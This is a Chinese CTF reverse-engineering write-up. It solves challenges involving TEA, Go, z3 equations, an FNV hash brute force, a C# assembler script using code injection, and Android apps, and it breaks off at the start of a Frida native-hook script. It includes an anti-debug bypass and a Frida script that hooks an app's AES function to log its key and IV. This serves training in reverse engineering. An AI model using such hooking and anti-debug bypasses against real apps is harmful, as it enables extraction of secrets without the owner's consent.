void tea_encrypt(uint32_t* v, const uint32_t* key) {
    uint32_t v0 = v[0], v1 = v[1];
    uint32_t sum = 0;
    uint32_t delta = 0x9e3779b9;  // 一个神奇常数,约等于黄金分割率乘以 2^32
    for (int i = 0; i < 16; i++) {
        sum += delta;
        v0 += ((v1 << 4) + key[0]) ^ (v1 + sum) ^ ((v1 >> 5) + key[1]);
        v1 += ((v0 << 4) + key[2]) ^ (v0 + sum) ^ ((v0 >> 5) + key[3]);
    }
    v[0] = v0;
    v[1] = v1;
}

void tea_decrypt(uint32_t* v, const uint32_t* key) {
    uint32_t v0 = v[0], v1 = v[1];
    uint32_t delta = 0x9e3779b9;
    uint32_t sum = delta * 16;
    for (int i = 0; i < 16; i++) {
        v1 -= ((v0 << 4) + key[2]) ^ (v0 + sum) ^ ((v0 >> 5) + key[3]);
        v0 -= ((v1 << 4) + key[0]) ^ (v1 + sum) ^ ((v1 >> 5) + key[1]);
        sum -= delta;
    }
    v[0] = v0;
    v[1] = v1;
}

int main() {
    uint32_t v[] = {0xC8EAEA30,0xF2CFD9BD,0xAD41855D,0xE9F0D1B0,0x5FE9E8B1,0x4D126999};
    uint32_t key[4];
    const char* str_key = "downbeatD0wnBe@t";
    memcpy(key, str_key, 16);

    for(int i = 0 ; i < 6 ;i +=2 ){
        tea_decrypt(&v[i] , key);
        // printf("%08x %08x\n", v[i], v[i+1]);
        to_ascii(v[i]);
        to_ascii(v[i+1]);       
    }
    return 0;
}
  • 但是Tea解出来的其实是fakeflag,动调可以发现memcmp被hook成RC4的函数了,所以真正的加密其实是在RC4里面

随后cyberchef一把梭即可,但是有个小魔改,多了一个异或0x17

Ezcsharp

感谢吴✌供题,wp见下方

百度网盘 请输入提取码

链接里面查看word文档

Pyarmor_signin

发现不能直接运行。

python -m pdb task.py

直接pdb,一直n,按照要求输入I'mReady之后直出flag

pyarmor会重命名函数、变量、类这些标识符,然后编译为加密的字节码。是一种反逆向的工具

但是trial版只有静态混淆加密,反调试需要付费

你这是哪门子shell

010里把upx都改成大写

upx -d flag.exe

IDA打开就有了

baby_re

gdb动调,静态分析都行。b64那个实际上进行了一次编码和解码,所以最终就是一个XOR+AES_ECB,找到AES的key和XORkey就基本稳了,而且,对自己的答案要有自信

easyGo

用IDA打开,找Golang标志性的main_main进入分析

// main.main
void __fastcall main_main()
{
  int v0; // r8d
  int v1; // r9d
  int v2; // r10d
  int v3; // r11d
  int v4; // r8d
  int v5; // r9d
  int v6; // r10d
  int v7; // r11d
  __int64 v8; // rax
  int v9; // r9d
  int v10; // r10d
  int v11; // r11d
  char *v12; // rdx
  size_t v13; // r8
  signed __int64 v14; // rcx
  __int64 v15; // rbx
  __int64 i; // rcx
  int v17; // ecx
  int v18; // r8d
  int v19; // r9d
  int v20; // r10d
  int v21; // r11d
  __int64 v22; // [rsp-2Eh] [rbp-B0h]
  __int64 v23; // [rsp-2Eh] [rbp-B0h]
  __int64 v24; // [rsp-26h] [rbp-A8h]
  __int64 v25; // [rsp-1Eh] [rbp-A0h]
  __int64 v26; // [rsp-16h] [rbp-98h]
  __int64 v27; // [rsp-Eh] [rbp-90h]
  __int16 v28; // [rsp+0h] [rbp-82h]
  signed __int64 v29; // [rsp+2h] [rbp-80h]
  signed __int64 v30; // [rsp+Ah] [rbp-78h]
  signed __int64 v31; // [rsp+12h] [rbp-70h]
  size_t len; // [rsp+1Ah] [rbp-68h]
  __int64 v33; // [rsp+22h] [rbp-60h]
  char *ptr; // [rsp+2Ah] [rbp-58h]
  __int64 v35; // [rsp+32h] [rbp-50h]
  _QWORD v36[2]; // [rsp+3Ah] [rbp-48h] BYREF
  _QWORD v37[2]; // [rsp+4Ah] [rbp-38h] BYREF
  _QWORD v38[2]; // [rsp+5Ah] [rbp-28h] BYREF
  _QWORD v39[2]; // [rsp+6Ah] [rbp-18h] BYREF
  string *p_string; // [rsp+7Ah] [rbp-8h]

  v39[0] = &RTYPE_string;
  v39[1] = &off_4F6048;
  fmt_Fprint((unsigned int)go_itab__os_File_io_Writer, os_Stdout, (unsigned int)v39, 1, 1);
  p_string = (string *)runtime_newobject(&RTYPE_string);
  v38[0] = &RTYPE__ptr_string;
  v38[1] = p_string;
  fmt_Fscanln((unsigned int)go_itab__os_File_io_Reader, runtime_bss, (unsigned int)v38, 1, 1, v0, v1, v2, v3);
  v28 = '\xFF\xFF\xD2\xFC';
  v29 = '\xFA\xB0\xF2\xBC\x9E\xEF\xDF\x90';
  v30 = '\xBF\xF3\xBF\xD3\xE0\xED\xDA\x98';
  v31 = '\xF9\xD7\xF5\xD3\xBF\xD3\xBF\xF3';
  len = p_string->len;
  ptr = p_string->ptr;
  v8 = runtime_makeslice((unsigned int)&RTYPE_uint8, len, len, 1, 1, v4, v5, v6, v7);
  v12 = ptr;
  v13 = len;
  v14 = 0LL;
  v15 = '\xFF\xFF\xFF\xAB';
  while ( v14 < (__int64)v13 )
  {
    v9 = (unsigned __int8)v12[v14];
    v15 = (v9 ^ (unsigned int)v15) + 3;
    *(_BYTE *)(v8 + v14++) = v15;
  }
  v35 = v8;
  for ( i = 0LL; i < 26; ++i )
  {
    if ( i >= v13 )
      runtime_panicIndex(i, v15, v13);
    v9 = *((unsigned __int8 *)&v28 + i);
    if ( (_BYTE)v9 != *(_BYTE *)(i + v8) )
    {
      v33 = i;
      v37[0] = &RTYPE_string;
      v37[1] = &off_4F6058;
      v15 = os_Stdout;
      fmt_Fprintln(
        (unsigned int)go_itab__os_File_io_Writer,
        os_Stdout,
        (unsigned int)v37,
        1,
        1,
        v13,
        v9,
        v10,
        v11,
        v22,
        v24,
        v25,
        v26,
        v27);
      os_Exit(1, v15, v17, 1, 1, v18, v19, v20, v21, v23);
      v8 = v35;
      i = v33;
      v13 = len;
    }
  }
  v36[0] = &RTYPE_string;
  v36[1] = &off_4F6068;
  fmt_Fprintln(
    (unsigned int)go_itab__os_File_io_Writer,
    os_Stdout,
    (unsigned int)v36,
    1,
    1,
    v13,
    v9,
    v10,
    v11,
    v22,
    v24,
    v25,
    v26,
    v27);
}

审计代码就行了,注意到

v28 = '\xFF\xFF\xD2\xFC';
v29 = '\xFA\xB0\xF2\xBC\x9E\xEF\xDF\x90';
v30 = '\xBF\xF3\xBF\xD3\xE0\xED\xDA\x98';
v31 = '\xF9\xD7\xF5\xD3\xBF\xD3\xBF\xF3';

是加密的密文,输入的flag经过加密要与这个比,另外注意存储顺序哈,这里是小端序。

0xfc,0xd2,0x90,0xdf,0xef,0x9e,0xbc,0xf2,0xb0,0xfa,0x98,0xda,0xed,0xe0,0xd3,0xbf,0xf3,0xbf,0xf3,0xbf,0xd3,0xbf,0xd3,0xf5,0xd7,0xf9

明显接下来是定义的函数,执行核心的加密逻辑

  len = p_string->len;
  ptr = p_string->ptr;
  v8 = runtime_makeslice((unsigned int)&RTYPE_uint8, len, len, 1, 1, v4, v5, v6, v7);
  v12 = ptr; // 初始化指针
  v13 = len; // 初始化切片长度为切片的长度
  v14 = 0LL; // 循环的索引值
  v15 = '\xFF\xFF\xFF\xAB'; // 这里初始化了异或密钥0xAB
  while ( v14 < (__int64)v13 ) // 也就是当不超过flag长度时执行
  {
    v9 = (unsigned __int8)v12[v14]; // 访问输入的第i个元素
    v15 = (v9 ^ (unsigned int)v15) + 3; // 核心加密逻辑,很简单,就是与v9异或并将结果+3
    *(_BYTE *)(v8 + v14++) = v15;
  }
  v35 = v8; // v8和v35是创建切片用的
  for ( i = 0LL; i < 26; ++i ) // 实际上这里就是和flag加密串进行比较了
  {
    if ( i >= v13 ) // 长度比较
      runtime_panicIndex(i, v15, v13);
    v9 = *((unsigned __int8 *)&v28 + i);
    if ( (_BYTE)v9 != *(_BYTE *)(i + v8) )
    {
      v33 = i;
      v37[0] = &RTYPE_string;
      v37[1] = &off_4F6058;
      v15 = os_Stdout;

mathematics

IDA打开发现程序对输入的字符数组进行了一堆加减乘运算并和一些值进行比较,同时可知flag长度为28

我们按Y将Str类型改为char Str[28],然后处理一下伪代码提取出方程式组(好多同学这一步应该交给AI处理了吧,想当初我刚打CTF哪有这好日子啊,给AI的数据它处理时经常出错会改掉一些值,只能自己写py脚本提取)

最后就交给z3处理就好了

解题脚本

#!/usr/bin/python3
#-*- coding=utf-8 -*-
from z3 import *
import time
solver = Solver()


flag = [BitVec("%d" % i, 8) for i in range(28)]
for i in range(28):
    solver.add(flag[i] < 127)
    solver.add(flag[i] >= 32)

solver.add((flag[0] - 188) + (flag[3] * 23) + (flag[4] + 188) + (flag[8] * 166) + (flag[10] + 214) + (flag[13] * 33) + (flag[15] - 73) + (flag[16] * 95) + (flag[18] * 149) + (flag[20] * 69) + (flag[21] - 143) + (flag[22] + 110) + (flag[23] * 95) + (flag[27] - 201) == 66851)
solver.add((flag[0] * 247) + (flag[2] - 87) + (flag[4] * 236) + (flag[5] + 92) + (flag[7] * 146) + (flag[11] * 232) + (flag[12] - 83) + (flag[15] - 222) + (flag[16] + 34) + (flag[17] - 32) + (flag[21] + 107) + (flag[24] * 167) + (flag[25] + 130) + (flag[27] - 21) == 99270)
solver.add((flag[0] * 247) + (flag[2] + 237) + (flag[4] - 13) + (flag[6] + 154) + (flag[11] - 249) + (flag[12] * 235) + (flag[14] - 214) + (flag[15] + 85) + (flag[18] * 188) + (flag[19] + 66) + (flag[20] * 84) + (flag[22] - 123) + (flag[25] + 74) + (flag[27] + 206) == 71948)
solver.add((flag[0] + 170) + (flag[2] - 43) + (flag[3] + 155) + (flag[5] - 40) + (flag[6] * 115) + (flag[8] * 13) + (flag[9] - 93) + (flag[10] + 21) + (flag[11] - 142) + (flag[13] + 190) + (flag[14] + 6) + (flag[17] - 36) + (flag[20] * 121) + (flag[23] - 56) == 27343)
solver.add((flag[3] - 166) + (flag[4] - 13) + (flag[5] + 64) + (flag[6] * 51) + (flag[7] - 56) + (flag[8] * 148) + (flag[9] + 183) + (flag[10] + 66) + (flag[14] + 118) + (flag[16] * 188) + (flag[20] - 244) + (flag[21] + 23) + (flag[24] + 224) + (flag[27] * 93) == 49143)
solver.add((flag[1] * 223) + (flag[5] + 249) + (flag[7] + 107) + (flag[8] * 129) + (flag[10] - 112) + (flag[11] + 52) + (flag[13] - 169) + (flag[15] * 94) + (flag[16] - 87) + (flag[17] - 45) + (flag[20] - 193) + (flag[22] * 116) + (flag[23] - 149) + (flag[27] + 218) == 51279)
solver.add((flag[1] * 251) + (flag[4] + 123) + (flag[5] - 196) + (flag[8] - 203) + (flag[9] * 114) + (flag[11] - 110) + (flag[15] * 208) + (flag[16] + 83) + (flag[20] * 31) + (flag[22] - 9) + (flag[24] + 7) + (flag[25] + 176) + (flag[26] - 230) + (flag[27] - 66) == 63264)
solver.add((flag[0] + 6) + (flag[1] + 123) + (flag[2] * 163) + (flag[6] - 15) + (flag[7] * 223) + (flag[8] + 214) + (flag[13] - 246) + (flag[15] + 1) + (flag[16] - 100) + (flag[19] * 225) + (flag[22] * 206) + (flag[23] - 36) + (flag[24] * 160) + (flag[27] - 124) == 79369)
solver.add((flag[1] + 163) + (flag[4] * 190) + (flag[5] + 144) + (flag[6] * 157) + (flag[7] * 8) + (flag[10] * 47) + (flag[13] - 162) + (flag[14] - 85) + (flag[15] - 119) + (flag[18] * 73) + (flag[20] + 213) + (flag[21] + 81) + (flag[24] + 23) + (flag[27] + 34) == 50602)
solver.add((flag[1] - 85) + (flag[6] - 53) + (flag[9] * 85) + (flag[11] * 14) + (flag[12] - 251) + (flag[13] - 212) + (flag[14] - 240) + (flag[19] + 194) + (flag[22] * 125) + (flag[23] * 101) + (flag[24] * 136) + (flag[25] - 161) + (flag[26] * 210) + (flag[27] - 156) == 61274)
solver.add((flag[0] - 67) + (flag[4] * 249) + (flag[5] * 98) + (flag[9] + 138) + (flag[12] + 124) + (flag[13] + 189) + (flag[14] - 153) + (flag[17] - 155) + (flag[20] * 29) + (flag[21] * 83) + (flag[22] * 118) + (flag[23] - 184) + (flag[24] - 63) + (flag[27] + 151) == 50614)
solver.add((flag[1] * 109) + (flag[3] + 26) + (flag[4] + 5) + (flag[5] * 242) + (flag[6] * 188) + (flag[7] + 90) + (flag[8] + 245) + (flag[11] * 104) + (flag[13] + 179) + (flag[14] - 33) + (flag[20] * 115) + (flag[22] - 87) + (flag[23] - 10) + (flag[24] + 137) == 67326)
solver.add((flag[1] + 57) + (flag[3] * 26) + (flag[4] * 107) + (flag[5] * 207) + (flag[6] + 211) + (flag[9] - 136) + (flag[10] + 65) + (flag[13] + 132) + (flag[19] - 252) + (flag[20] * 33) + (flag[22] + 65) + (flag[23] * 110) + (flag[25] - 108) + (flag[27] + 18) == 42278)
solver.add((flag[2] + 224) + (flag[4] + 128) + (flag[6] - 146) + (flag[9] * 167) + (flag[10] * 145) + (flag[13] * 121) + (flag[14] * 119) + (flag[15] * 249) + (flag[17] - 251) + (flag[19] - 117) + (flag[21] * 92) + (flag[23] + 181) + (flag[25] - 115) + (flag[26] * 30) == 94332)
solver.add((flag[0] * 252) + (flag[1] + 214) + (flag[3] - 176) + (flag[6] - 5) + (flag[7] - 162) + (flag[11] - 49) + (flag[13] - 221) + (flag[16] * 17) + (flag[17] * 124) + (flag[18] + 161) + (flag[21] - 193) + (flag[23] + 220) + (flag[25] + 247) + (flag[26] - 84) == 34135)
solver.add((flag[0] - 230) + (flag[2] * 102) + (flag[4] - 113) + (flag[7] - 205) + (flag[11] - 4) + (flag[12] * 80) + (flag[13] * 40) + (flag[14] * 75) + (flag[16] - 197) + (flag[17] + 222) + (flag[19] + 160) + (flag[21] - 136) + (flag[24] * 96) + (flag[25] * 57) == 39532)
solver.add((flag[2] * 28) + (flag[7] * 154) + (flag[8] * 140) + (flag[10] - 250) + (flag[12] * 224) + (flag[13] + 43) + (flag[14] - 94) + (flag[15] - 210) + (flag[17] + 158) + (flag[18] - 39) + (flag[20] * 227) + (flag[21] + 107) + (flag[22] + 236) + (flag[24] + 160) == 77098)
solver.add((flag[1] + 214) + (flag[2] - 250) + (flag[3] - 13) + (flag[4] + 160) + (flag[7] + 126) + (flag[8] - 251) + (flag[15] + 152) + (flag[16] - 64) + (flag[17] - 99) + (flag[20] * 17) + (flag[21] - 13) + (flag[22] - 180) + (flag[24] * 6) + (flag[27] - 2) == 3478)
solver.add((flag[0] - 160) + (flag[2] + 188) + (flag[3] - 250) + (flag[4] + 86) + (flag[6] * 41) + (flag[7] * 198) + (flag[9] + 16) + (flag[11] - 84) + (flag[16] - 105) + (flag[19] - 245) + (flag[20] + 22) + (flag[21] + 206) + (flag[23] - 244) + (flag[24] * 49) == 25911)
solver.add((flag[0] * 152) + (flag[1] - 214) + (flag[2] + 36) + (flag[3] + 117) + (flag[4] * 207) + (flag[6] + 32) + (flag[8] + 241) + (flag[9] * 214) + (flag[12] + 230) + (flag[13] + 131) + (flag[14] - 40) + (flag[17] + 206) + (flag[18] * 42) + (flag[23] * 184) == 81744)
solver.add((flag[0] + 112) + (flag[1] - 64) + (flag[3] - 40) + (flag[5] * 19) + (flag[6] * 163) + (flag[10] - 73) + (flag[11] + 95) + (flag[12] - 48) + (flag[13] - 117) + (flag[16] - 248) + (flag[17] - 166) + (flag[18] - 198) + (flag[21] - 64) + (flag[24] + 68) == 16931)
solver.add((flag[1] + 179) + (flag[6] - 35) + (flag[7] - 237) + (flag[9] * 193) + (flag[10] + 44) + (flag[14] + 232) + (flag[15] * 244) + (flag[16] + 44) + (flag[17] + 130) + (flag[19] + 70) + (flag[20] - 215) + (flag[21] + 78) + (flag[22] - 208) + (flag[23] * 38) == 52715)
solver.add((flag[0] * 108) + (flag[2] - 39) + (flag[3] - 185) + (flag[4] * 125) + (flag[5] + 89) + (flag[6] - 177) + (flag[10] + 238) + (flag[14] + 103) + (flag[15] + 205) + (flag[17] * 32) + (flag[19] + 86) + (flag[20] * 145) + (flag[23] + 122) + (flag[25] - 32) == 42787)
solver.add((flag[1] - 53) + (flag[3] * 129) + (flag[5] * 136) + (flag[7] * 67) + (flag[8] + 3) + (flag[13] * 99) + (flag[14] + 77) + (flag[15] * 193) + (flag[18] - 86) + (flag[20] + 191) + (flag[21] - 41) + (flag[24] - 138) + (flag[25] * 242) + (flag[26] + 166) == 89131)
solver.add((flag[1] + 173) + (flag[2] * 103) + (flag[3] - 244) + (flag[6] + 221) + (flag[7] - 20) + (flag[8] + 15) + (flag[9] + 225) + (flag[10] * 30) + (flag[11] - 228) + (flag[14] + 66) + (flag[18] - 7) + (flag[24] - 222) + (flag[25] * 183) + (flag[27] * 248) == 64044)
solver.add((flag[1] - 66) + (flag[2] * 200) + (flag[4] - 142) + (flag[6] + 27) + (flag[7] - 246) + (flag[9] - 244) + (flag[12] + 43) + (flag[13] - 50) + (flag[14] - 66) + (flag[15] * 144) + (flag[17] * 208) + (flag[19] * 224) + (flag[26] - 108) + (flag[27] - 0) == 75123)
solver.add((flag[0] - 75) + (flag[1] - 135) + (flag[3] - 205) + (flag[6] - 145) + (flag[8] - 168) + (flag[9] + 54) + (flag[14] - 60) + (flag[15] + 81) + (flag[16] - 149) + (flag[18] + 64) + (flag[19] * 148) + (flag[22] - 154) + (flag[25] * 202) + (flag[27] - 179) == 38130)
solver.add((flag[2] * 32) + (flag[4] - 132) + (flag[6] + 106) + (flag[7] - 83) + (flag[10] * 227) + (flag[11] + 163) + (flag[14] - 173) + (flag[18] + 135) + (flag[19] + 198) + (flag[20] * 30) + (flag[21] + 48) + (flag[22] + 152) + (flag[24] * 207) + (flag[26] * 183) == 71113)

start_time = time.perf_counter()
if solver.check() == sat:
    end_time = time.perf_counter()
    model = solver.model()
    elapsed = end_time - start_time
    ans = ''.join([chr(model[c].as_long()) for c in flag])
    print(f"[*] flag:{ans}")
    print(f"[*] time: {round(elapsed, 4)} s")
else:
    print("no ans!")

大约跑个一分钟就出flag了

等脚本跑出来之前和大伙说个题外话吧,我那个朋友是通信专业的,女主和他是一个专业的,两个人打电赛的时候天天待一起学习,女生数学不是很好他还经常给女生补课,互相聊得也很来,一来二去的男生对她产生了一些特殊的情感。

然后有次他们一起出去吃饭,我朋友觉得是时候冲了,表白的话说完后问女生对他什么意思,女生显得有些犹豫说她拿不准主意,想过段时间再给他答复。

然后呢?然后题目flag跑出来了

她说I_Lik3_U_but_n0t_in_th4t_way

shash

题目名称shash的全称其实是short hash,也就是短哈希

静态编译的程序,但是程序逻辑并不复杂,定位到main函数

跟进变量unk_49D02C发现是字符串"%s",那么这个很显然是scanf函数。OK下面的函数sub_401170处理我们输入的字符串然后判断返回值是不是43,推测大概率是strlen函数,那么可以得到flag长度为43

接下来看那个for循环,循环22次,每次sub_401905函数处理两个字节,然后将返回值和DWORD数组aR比较

跟进函数sub_401905发现是个简单的哈希处理

该哈希算法其实是FNV-1a算法,一种快速且低冲突的哈希算法,适用于大量数据的快速哈希处理,尤其适合于哈希几乎相同的字符串

我们都知道哈希算法不可逆,但如果哈希算法处理的是少量数据,那么爆破也许是个不错的方法

像这个题目,每次处理两个字节,那么复杂度也就是2^16=65536,但同时我们又知道flag肯定是可见字符串,在32~127之间。那么复杂度就降到了96*96=9216了,最多只需要爆破不到22w次就能拿到弗拉格

这时候就有同学要问了,“老师老师,22w次还不多吗?”

废话,当然不多啦!22w次在计算机里其实是个很小的单位了,特别是在哈希函数不复杂且处理数据量小的情况下,嗖~的一下就跑完了

不过你要是口算的话....可以参考把md5算法的C语言代码喂给DS大模型,然后让他根据算法计算一个短字符的md5值,再把这个过程重复22w次,你猜要跑多久呢?

好了不多说,将aR数组导出然后开爆

解题脚本

#include <stdio.h>
#include <string.h>
#include <stdint.h>

uint32_t hashes[] = {2028691325, 1792671826, 1305679590, 2266829395, 2279835011, 434841374, 2346945487, 432869898, 401286136, 2150371800, 2346945487, 2263057392,
    197983232, 401139041, 15253804, 2333792776, 2313390249, 2364708844, 2431672225, 2431672225, 451471898, 592863352};
    
uint32_t hash_function(const unsigned char *data, size_t len) {
   uint32_t hash = 0x811C9DC5;
   const uint32_t fnv_prime = 0x01000193;
   for (size_t i = 0; i < len; i++) {
       hash ^= data[i];
       hash *= fnv_prime;
   }
   return hash;
}

void main()
{
    for(int i = 0;i < 21;i++)
    {
        for(int hbyte = 0x20;hbyte < 127;hbyte++)
        {
            for(int lbyte = 0x20;lbyte < 127;lbyte++)
            {
                short tmp = (hbyte << 8) | lbyte;
                if(hash_function((const unsigned char*)&tmp, 2) == hashes[i])
                {
                    printf("%c%c", lbyte, hbyte);
                    break;
                }
            }
        }
    }
}

编译运行得到flag,长度为42,缺了个'}'是为什么呢?因为最后那一块数据是b'}\x00',而\x00不在我们的爆破表里,最后那一块相当于是没有找到匹配的解所以没有输出

但是也无伤大雅了,我们知道最后那个字符肯定是'}'

C++++

一道简单的C#逆向(雾

因为这道题**用到了代码注入等技术,很有可能被杀软误杀**,大家可以信任后再动调

说会题目,属实没想到校内只能有一解,校外刚开始两天的解题情况也不乐观

或许.net真的是个小众的语言吧😭

用dnspy等IL反编译工具打开,点击进入

阅读代码,根据代码推测应该是从资源文件中读取了什么脚本然后执行

在资源下找到这两个脚本

  • 分析encrypt脚本

了解过游戏逆向的同学应该不陌生,这是Cheat Engine的自动汇编脚本

现在程序进入汇编分析阶段,其实这个脚本就是实现了一个简单的加密函数

  • 首先函数开头保存参数1rdi到栈上
  • 然后进入loop_init,将参数1赋值给rax,从rax指针取字节movzx零填充赋值给eax寄存器,若当前字节不为0则跳转到循环体loop_body
  • 循环体执行了一些位运算,我们假设操作的字节为k,那么执行的操作用C语言表达就是((((((k-1)&0xf)<<4)|(((k-1)>>4)&0xf))^0xb2)+7)
  • 将运算结果写回内存然后将参数1指针+1
  • 最后继续循环执行

叽里呱啦说了一堆恐怕有些同学快要睡着了,如果自身的汇编水平比较低,那么也可以把这个汇编脚本扔给AI,让它快速分析出对应的C语言代码

这里要注意的是data用db指令声明了一段数据

  • 分析main脚本

这里很简单看汇编也能一眼懂,将我们的输入的字符串作为指针赋值给rdi然后调用encrypt,接下来就是密文比较了

源src和目标dst分别是input和data,比较五个块然后将结果写到data+0x200的地址

两个脚本分析完毕就可以把data数据导出然后写解密脚本啦~

解题脚本

# 加密过程是(((((k-1)&0xf) << 4) | (((k-1) >> 4) & 0xf)) ^ 0xb2) + 7
# 那么解密其实就是将这个过程反过来
def decrypt(enc):
    decrypted = ""
    for byte in enc:
        k = (byte - 7) & 0xff
        j = k ^ 0xb2
        high = (j & 0xf0) >> 4
        low = (j & 0x0f) << 4
        m = high | low
        decrypted += chr((m + 1) & 0xff)
    return decrypted
    
enc = "cdce9d8eed1c676b988c5eacfbec98acf8fb58489c9cfb7babb83c5eacfbecfbac9cfbb77c"
print(decrypt(bytes.fromhex(enc)))

得到flag

后话

所以这个题目其实是套了一层C#壳的汇编逆向!

time'sUP

这道题首先一个问题是,**它值不值600分**?

如果放在校外赛道,显然是不值的,一上来就被秒了。但是在校内赛道显然又值600分了,因为一直到比赛结束也只有1解。

其实这道题本身是很简单的,有安卓逆向经验的同学应该是随便秒了,但为什么我会给600分呢?因为是新生赛,大部分人的难点不在于题目而在于环境。通常来说搭建一个Androidfrida调试环境有以下步骤

  • 下载一个安卓模拟器并安装
  • 配置好adb环境,熟悉基本的adb命令
  • 去github上找fridaserver程序并通过adbpush到安卓模拟器
  • 安装和fridaserver对应版本的python包
  • 愉快的进行fridahook~

听起来挺简单的但我第一次搭安卓调试环境花了半天时间,可能萌新自带触发「奇奇怪怪的报错」debuff吧🥺

如果你现在已经把frida环境搭好了,那么现在我们一起来看看题目吧

用jadx打开,找到MainActivity,显然这就是程序的主逻辑

就算是没学过Java的同学看代码也能知道程序是获取key和iv然后进行AES-CBC加密并对加密结果base64编码最后和密文比较

只不过有个反调试罢了,其实这道题有很多种做法,不一定要用到frida,我们用jadx调试也是可以的

在这里下个断点,也就是调用完判断是否在调试然后比较返回值的地方

找到下方的调试窗口,将v0修改为0

然后我们继续在aesCbcEncrypt函数那里下个断点,接着运行

在调试窗口就能直接看到key和iv了,复制一下数据即可

不过既然提到了frida,这里也还是说一下frida的解法吧

Java.perform(function() {
    // 查找MainActivity类
    var MainActivity = Java.use('com.example.appre.MainActivity'); 
    
    // Hook aesCbcEncrypt
    MainActivity.aesCbcEncrypt.overload('[B', '[B', '[B').implementation = function(bytes, key, iv) {
        
        // 将key和iv转换为十六进制字符串
        var keyHex = bytesToHex(key);
        var ivHex = bytesToHex(iv);
        
        // 输出key和iv
        console.log("Key (Hex): " + keyHex);
        console.log("IV (Hex):  " + ivHex);
        var result = this.aesCbcEncrypt(bytes, key, iv);
        
        return result;
    };
    
    function bytesToHex(bytes) {
        var hex = [];
        for (var i = 0; i < bytes.length; i++) {
            var b = bytes[i] & 0xFF;
            var h = b.toString(16);
            if (h.length === 1) {
                hex.push('0');
            }
            hex.push(h);
        }
        return hex.join('');
    }
});

小脚本一写,小命令frida -U -n appre -l script.js一输,再按下check按钮,key和iv就来了

但是要注意!!!

key的生成和UNIX时间相关,获取到的时间戳会&1048576(0x100000),也就是说随机数种子其实也就两种状态:要么是0x100000,要么是0。并且这个大概是12天变化一次。

题目描述说本地check在大约在5-119:40后失效,出题的时候种子是0x100000,那么可以得出此时seed已经变成了0所以本地check过不了了。

如果想获得正确的key,可以hookrandom的setSeed方法,使参数固定为0x100000。这里就不上frida脚本了,同学们复现的时候可以自己动手操作一下~

拿到key和iv,赛博厨子一把梭就好了

C++++_revenge

为什么会出这个revenge呢?因为我把C++++那道题发给D0wnBe@t验题的时候,他直接秒了并且问这和C#有什么关系呢?

我恍然大悟——该死,我的AutoAssembler根本没派上用场啊!

遂默默在汇编脚本解释器代码里加了个小trick,然后将它称为revenge!

大家感兴趣的话可以在github上看一下原项目

GitHub - S1nyer/AutoAssembler: A C# Class library like CE's AutoAssembler

有了C++++题目的经验,这次我们直奔资源文件

发现和C++++相比就多了一个rdx异或,异或值是0x1234567890abcdef

然后密文值data这次不在脚本里声明而是通过memoryAPI来写入

如果你现在将密文数组导出然后按上面的思路来解会发现:唉我去?怎么是乱码!

因为trick在C#代码而非汇编脚本中,如果进行代码对比就会发现,在汇编解释器的AutoAssemble(string[] Codes,refList< AutoAssembler.AllocedMemory> alloceds)函数下多出了这一行代码

这里是什么呢?其实就是汇编解释器已经将汇编脚本里的汇编指令都编译完成且写入内存后,处理一些宏指令,比如:createthread命令,它会创建一个线程并将给出的内存地址作为代码执行。

这里玩的小trick就是在执行线程之前,将代码里的异或key替换了。异或key=0x6d6974737568615f其实是mitsuha_,也就是三叶的英音译,当然小端序下是倒过来的

解题脚本

from struct import pack, unpack

def decrypt(enc):
    decrypted = ""
    for byte in enc:
        k = (byte - 7) & 0xff
        j = k ^ 0xb2
        high = (j & 0xf0) >> 4
        low = (j & 0x0f) << 4
        m = high | low
        decrypted += chr((m + 1) & 0xff)
    return decrypted
    
enc = "92aff5fb9e68a42a833f942b7e4f72f501ea33f9188fe535623fe4be481f723364ed36cdef2a2236839ac49e8f7fde11"
xorkey=b"_ahustim"
flag = bytearray()
for (i,k) in enumerate(bytes.fromhex(enc)):
    flag.append(k ^ xorkey[i % len(xorkey)])
flag = decrypt(flag)
print(flag)

后话

这里意外的是Britney师傅的非预期解,这小子直接改我资源文件里的脚本将xor的值写到input内存,然后再改我的C#代码直接读取xorkey(???Britney不削能玩?

EzBinary

这道题也是非常朴实无华的Androidnative逆向,一眼就能知道考的是native逆向,不像PYCC喜欢和你玩点花花肠子。

jadx打开看主函数啊

没有弯弯绕绕直接就将用户输入传进checkFlag函数检查是否正确。

我们跟进会发现是native函数

OK,用winrar把lib文件拖出来。CPU架构任君选哈,这里我选的是arm64爱妃,主要是ida自带Android_arm的类型库,方便符号恢复

然后将里面的libbinnative.so用IDA打开,查看checkFlag函数的实现

按Y把a1的数据类型改成 JNIEnv*

这里是把java里的String类型转成C的char*类型,然后给sub_B10函数处理,最后是返回sub_BE8的返回值

那么sub_BE8大概率就是和密文判断相关的函数了,而sub_B10则是加密函数

跟进这两个函数看具体实现

算法学的不错的同学应该可以看出,左边是一个二叉树构建函数,根据用户输入的字符串构建一颗二叉树

右边则是后序遍历比较两颗二叉树结构与内容是否相同的函数

它们的C语言实现如下

// 左函数
TreeNode* buildTree(const char* s, int start, int end) {
    if (start > end) return NULL;
    if (start == end) return createNode(s[start]);

    // 计算分割点
    int len = end - start + 1;
    int mid = len / 2;

    // 递归构建子树
    TreeNode* left = buildTree(s, start, start + mid - 1);
    TreeNode* right = buildTree(s, start + mid, end - 1);

    // 创建当前节点(根节点取最后一个字符)
    TreeNode* root = createNode(s[end]);
    root->left = left;
    root->right = right;

    return root;
}
// 右函数
bool Compare(TreeNode* root1, TreeNode* root2) {
  if (root1 == NULL && root2 == NULL) {
      return true;
  }
  if (root1 == NULL || root2 == NULL) {
      return false;
  }
  // 递归比较左子树
  bool leftMatch = Compare(root1->left, root2->left);
  if (!leftMatch) {
      return false;
  }
  // 递归比较右子树
  bool rightMatch = Compare(root1->right, root2->right);
  if (!rightMatch) {
      return false;
  }
  // 比较当前节点的值
  return root1->data == root2->data;
}

那么很明显unk_3188变量就是目标二叉树的根节点,二叉树比较函数那里提醒了我们程序用的是后序遍历

那么现在其实有两种做法:

  • fridahookNative函数,获取根节点地址然后后序遍历目标二叉树
  • 查内存结构,手搓二叉树!

当然我的预期解是fridahook,上一个安卓题是Java层Hook,这一道题相当于上一个的进阶版:Native Hook

注意注意!!!虽然我们用IDA打开的是arm64架构的so库,但是APP运行时实际载入的so库是你模拟器的CPU架构决定的!

而我的模拟器实际上载入的是x86_64的so库

所以在写hook脚本的时候,记得替换成正确的函数偏移,这里我们要hook的函数是Native里的二叉树比较函数,x86_64下的函数偏移是0xC20

还要注意因为比较函数是递归实现的,所以我们只在第一次进入函数的时候遍历

Java.perform(function() {
